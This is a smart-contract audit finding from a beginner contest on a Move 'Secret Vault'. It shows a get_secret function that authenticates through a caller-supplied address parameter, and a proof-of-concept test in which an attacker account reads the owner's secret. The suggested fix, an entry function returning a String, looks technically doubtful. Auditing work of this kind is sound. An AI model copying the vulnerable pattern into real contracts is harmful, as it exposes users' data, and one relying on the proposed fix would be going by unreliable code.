Secret Vault

First Flight #46
Beginner FriendlyWallet
100 EXP
View results
Submission Details
Severity: high
Valid

Critical Authentication Bypass in get_secret Function

Root + Impact

Description

Normal Behavior

The get_secret function should only allow the owner to retrieve their stored secret by verifying the caller's identity.

Issue

The get_secret function has fake authentication that can be trivially bypassed. The function checks if a caller-controlled parameter equals @owner, rather than verifying the actual signer's identity. Any attacker can call get_secret(@owner) to steal the secret.

#[view]
public fun get_secret(caller: address): String acquires Vault {
assert!(caller == @owner, NOT_OWNER); // @> Fake auth: attacker controls 'caller' parameter
let vault = borrow_global<Vault>(@owner);
vault.secret // @> Returns secret to anyone who passes @owner as parameter
}

Risk

Likelihood:

  • Any user can call the function with @owner as parameter

  • No verification of actual caller identity

  • View functions are callable by anyone from any account

Impact:

  • Complete bypass of access controls

  • Unauthorized access to all stored secrets

  • Violation of owner-only access requirements

  • Attacker can steal secrets without any authentication

Proof of Concept

The following test demonstrates how any attacker can bypass authentication and steal secrets by simply passing the owner's address as a parameter:

#[test(owner = @0xcc, attacker = @0x777)]
fun test_fake_authentication_bypass(owner: &signer, attacker: &signer) acquires Vault {
use aptos_framework::account;
// Setup test accounts - note they have DIFFERENT addresses
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(attacker));
// Owner stores a confidential secret
let confidential_data = b"owner_private_key_xyz789";
set_secret(owner, confidential_data);
let owner_addr = signer::address_of(owner); // @0xcc
let attacker_addr = signer::address_of(attacker); // @0x777 (different!)
// VULNERABILITY DEMONSTRATION:
// Attacker can bypass authentication by simply passing owner's address
// The function doesn't verify WHO is calling, only what address parameter is passed
let stolen_secret = get_secret(owner_addr); // ❌ Attack succeeds!
// Prove the secret was stolen through fake authentication
assert!(stolen_secret == string::utf8(confidential_data), 200);
// The attacker now has the owner's secret despite being a different user
}

Recommended Mitigation

The core issue is using an address parameter instead of proper signer-based authentication. Here's the fix:

- #[view]
- public fun get_secret(caller: address): String acquires Vault {
- assert!(caller == @owner, NOT_OWNER);
+ public entry fun get_secret(caller: &signer): String acquires Vault {
+ assert!(signer::address_of(caller) == @owner, NOT_OWNER);
let vault = borrow_global<Vault>(@owner);
vault.secret
}
Updates

Lead Judging Commences

bube Lead Judge 11 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of signer check in `get_secret`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.